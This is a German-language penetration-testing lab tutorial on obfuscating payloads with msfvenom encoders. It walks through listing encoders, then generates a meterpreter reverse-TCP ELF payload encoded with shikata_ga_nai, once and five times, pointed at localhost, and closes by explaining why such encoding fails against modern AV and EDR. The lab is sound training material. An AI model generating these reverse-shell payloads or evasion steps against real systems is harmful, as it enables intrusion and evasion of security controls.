msfvenom Encoder zur Payload-Verschleierung nutzen

Einleitung

Im Bereich der Cybersicherheit ist die Verschleierung von Payloads eine kritische Technik, die zur Umgehung der Erkennung durch Sicherheitssoftware eingesetzt wird. msfvenom, ein leistungsstarkes Werkzeug innerhalb des Metasploit Frameworks, ist ein eigenständiger Payload-Generator, der auch zur Kodierung von Payloads verwendet werden kann, um deren Struktur zu verändern und so signaturbasierte Erkennung durch Antivirus (AV)-Systeme zu vermeiden.

Ein Encoder wendet eine Reihe von Transformationen auf den ursprünglichen Code des Payloads an, wodurch dieser für einfache Signaturscanner unlesbar wird. Wenn der Payload ausgeführt wird, läuft zuerst ein kleiner Decoder-Stub, der den ursprünglichen Payload im Speicher rekonstruiert und dann die Ausführung an diesen übergibt.

In diesem Lab lernen Sie die Grundlagen der Verwendung von msfvenom-Encodern kennen. Sie beginnen mit dem Auflisten verfügbarer Encoder, wählen dann einen beliebten aus, um einen kodierten Payload zu generieren, wenden mehrere Kodierungsiterationen an und diskutieren schließlich die Wirksamkeit dieser Technik gegen moderne Sicherheitslösungen.

Verfügbare Encoder mit msfvenom --list encoders auflisten

In diesem Schritt listen Sie zunächst alle in msfvenom verfügbaren Encoder auf. Dies gibt Ihnen einen Überblick über die verschiedenen Optionen, die Sie zur Verschleierung von Payloads haben.

Zuerst müssen Sie sicherstellen, dass das Metasploit Framework, das msfvenom enthält, installiert ist. Führen Sie die folgenden Befehle aus, um Ihre Paketliste zu aktualisieren und es zu installieren.

sudo apt-get update
sudo apt-get install -y metasploit-framework

Nach Abschluss der Installation können Sie alle verfügbaren Encoder mit der Option --list encoders von msfvenom auflisten. Dieser Befehl zeigt eine Tabelle von Encodern mit ihrem Rang, Namen und einer kurzen Beschreibung an. Der Rang gibt die Zuverlässigkeit und Effektivität des Encoders an, wobei excellent der höchste ist.

Führen Sie den folgenden Befehl in Ihrem Terminal aus:

msfvenom --list encoders

Sie sehen eine lange Liste verfügbarer Encoder. Die Ausgabe wird wie folgt strukturiert sein und für jeden Encoder den Namen, den Rang und die Beschreibung anzeigen.

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

Nehmen Sie sich einen Moment Zeit, um die Liste durchzusehen und die Vielfalt der verfügbaren Encoder für verschiedene Architekturen und Zwecke zu sehen.

Einen Encoder wie x86/shikata_ga_nai auswählen

In diesem Schritt lernen Sie einen der bekanntesten Encoder kennen: x86/shikata_ga_nai. In diesem Schritt gibt es keinen auszuführenden Befehl; das Ziel ist es zu verstehen, warum ein bestimmter Encoder ausgewählt werden könnte.

Aus der Liste, die Sie im vorherigen Schritt erstellt haben, ist Ihnen wahrscheinlich der Encoder x86/shikata_ga_nai aufgefallen. Er ist aus mehreren Gründen berühmt:

Rang: Er hat den Rang excellent, was bedeutet, dass er sehr zuverlässig ist und den Payload während des Kodierungsprozesses wahrscheinlich nicht beschädigt.
Polymorphismus: Es handelt sich um einen polymorphen Encoder. Das bedeutet, dass er seinen eigenen Dekodierungscode bei jeder Anwendung ändert. Theoretisch macht dies es für AV-Software viel schwieriger, eine statische Signatur für den Decoder-Stub zu erstellen.
Weite Verbreitung: Er war viele Jahre lang einer der beliebtesten und Standard-Encoder in Metasploit und somit ein klassisches Beispiel zum Erlernen der Verschleierung.

Obwohl seine Popularität auch dazu geführt hat, dass er von modernen AVs stark "fingerprinted" (identifiziert) wird (ein Thema, das wir später behandeln werden), bleibt er ein perfektes Beispiel zur Demonstration des Kodierungsprozesses. Im nächsten Schritt werden Sie diesen Encoder verwenden, um einen Payload zu verschleiern.

Einen Payload mit dem Flag -e zur Angabe des Encoders generieren

In diesem Schritt generieren Sie einen Payload und wenden den Encoder x86/shikata_ga_nai darauf an. Sie verwenden das Flag -e, um den ausgewählten Encoder anzugeben.

Erstellen wir einen einfachen Linux Reverse TCP Payload. Dieser Payload versucht, eine Verbindung zu einer angegebenen IP-Adresse und einem Port herzustellen. Wir werden ihn kodieren und als ELF (Executable and Linkable Format)-Datei speichern, was das Standard-Binärformat für Linux ist.

Die Befehlsstruktur lautet wie folgt: msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

-p: Gibt den Payload an. Wir verwenden linux/x86/meterpreter/reverse_tcp.
LHOST und LPORT: Optionen, die vom Payload benötigt werden, um zu wissen, wohin er sich verbinden soll. Wir verwenden für dieses Beispiel 127.0.0.1 (localhost).
-e: Gibt den Encoder an. Wir verwenden x86/shikata_ga_nai.
-f: Gibt das Ausgabeformat an. Wir verwenden elf.
>: Leitet die Ausgabe in eine Datei um.

Führen Sie nun den folgenden Befehl in Ihrem Terminal aus, um den kodierten Payload zu generieren und ihn als encoded_payload.elf zu speichern:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

msfvenom verarbeitet die Anfrage und zeigt Ihnen einige Informationen über den generierten Payload an, einschließlich der endgültigen Größe.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

Sie haben nun erfolgreich eine kodierte Payload-Datei namens encoded_payload.elf in Ihrem aktuellen Verzeichnis (~/project) erstellt. Sie können deren Erstellung mit dem Befehl ls -l überprüfen.

ls -l

total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

Das Flag -i zur Anwendung mehrerer Kodierungsiterationen verwenden

In diesem Schritt lernen Sie, wie Sie den Encoder mit dem Flag -i für Iterationen mehrmals auf denselben Payload anwenden. Die Theorie besagt, dass mehrere Kodierungsebenen den Payload noch schwerer erkennbar machen.

Obwohl dies effektiv klingt, hat es Nachteile. Jede Kodierungsiteration fügt einen neuen Decoder-Stub hinzu, was die Gesamtgröße des Payloads erhöht. Darüber hinaus kann dies manchmal ein sich wiederholendes Muster erzeugen, das Sicherheitssoftware erkennen kann.

Wenden wir den Encoder x86/shikata_ga_nai fünfmal auf denselben Payload an. Wir speichern diesen neuen Payload als multi_encoded_payload.elf, um ihn mit dem vorherigen zu vergleichen.

Verwenden Sie den folgenden Befehl und fügen Sie das Flag -i 5 hinzu:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

msfvenom wendet den Encoder nun fünfmal an. Beachten Sie die Ausgabe, die jede Iteration anzeigt.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

Verwenden Sie nun ls -l, um die Dateigrößen der einfach kodierten und der mehrfach kodierten Payloads zu vergleichen.

ls -l

total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

Wie Sie sehen können, ist multi_encoded_payload.elf aufgrund des wiederholten Kodierungsprozesses deutlich größer als encoded_payload.elf.

Diskussion der Effektivität von Encodern gegen moderne AV-Software

In diesem letzten Schritt werden wir die reale Effektivität von einfachen Encodern wie x86/shikata_ga_nai diskutieren. Dieser Schritt ist rein konzeptionell und es gibt keine Befehle, die ausgeführt werden müssen.

Während Encoder einst eine sehr effektive Methode zur Umgehung von AV-Software waren, hat ihre Wirksamkeit gegen moderne Sicherheitslösungen wie Next-Generation Antivirus (NGAV) und Endpoint Detection and Response (EDR)-Systeme stark abgenommen. Hier sind die Gründe dafür:

Signatur des Decoders: Sicherheitsanbieter wissen, wie beliebte Encoder funktionieren. Der Decoder-Stub für shikata_ga_nai ist selbst eine bekannte Signatur. Viele AV-Produkte kennzeichnen eine Datei einfach, weil sie diesen Decoder enthält, unabhängig davon, welchen Payload sie zu dekodieren versucht. Die Anwendung mehrerer Iterationen (Flag -i) macht diese Signatur oft noch offensichtlicher.
Heuristische und Verhaltensanalyse: Moderne AV-Systeme verlassen sich nicht nur auf statische Signaturen. Sie verwenden Heuristiken, um verdächtige Merkmale zu identifizieren (z. B. ein kleines Programm, das versucht, ausführbaren Speicher zuzuweisen) und Verhaltensanalysen, um zu überwachen, was ein Programm während seiner Ausführung tut. Ein kodierter Payload, der sich selbst im Speicher dekodiert und dann versucht, eine Reverse Shell zu öffnen, ist ein sehr verdächtiges Verhalten, das leicht erkannt wird.
Sandboxing und Emulation: Viele Sicherheitsprodukte können eine verdächtige Datei in einer sicheren, virtuellen Umgebung (einer Sandbox) ausführen, um ihr Verhalten zu beobachten, bevor sie auf dem eigentlichen System ausgeführt wird. In der Sandbox kann die AV-Software den Payload sich selbst dekodieren lassen und dann den ursprünglichen, bösartigen Code analysieren.

Zusammenfassend lässt sich sagen, dass das Verständnis von msfvenom-Encodern zwar eine grundlegende Fähigkeit ist, die alleinige Abhängigkeit von ihnen zur Verschleierung jedoch in modernen Umgebungen keine praktikable Strategie darstellt. Fortgeschrittene Umgehungstechniken erfordern ausgefeiltere Methoden, wie z. B. die Erstellung benutzerdefinierter Encoder, die Verwendung von Packern und Cryptern sowie die Anwendung von Methoden, die speziell auf Verhaltenserkennungs-Engines abzielen und diese umgehen.

Zusammenfassung

In diesem Lab haben Sie die Grundlagen der Payload-Verschleierung mit msfvenom-Encodern erkundet.

Sie haben gelernt, wie Sie:

Alle verfügbaren Encoder mit msfvenom --list encoders auflisten.
Einen beliebten polymorphen Encoder wie x86/shikata_ga_nai auswählen und dessen Zweck verstehen.
Einen kodierten Payload mit dem Flag -e generieren.
Mehrere Kodierungsiterationen mit dem Flag -i anwenden und die Auswirkungen auf die Dateigröße beobachten.
Die Grenzen von einfachen Encodern gegen moderne Antivirus- und EDR-Lösungen verstehen.

Dieses Wissen bietet eine solide Grundlage für das Verständnis der Payload-Generierung und des Katz-und-Maus-Spiels der Malware-Erkennung und -Umgehung. Die von Ihnen geübten Techniken sind ein Ausgangspunkt für die Erforschung fortgeschrittenerer Verschleierungsmethoden, die im professionellen Penetration Testing eingesetzt werden.

Payloads mit msfvenom verschleiern (Encoder verwenden)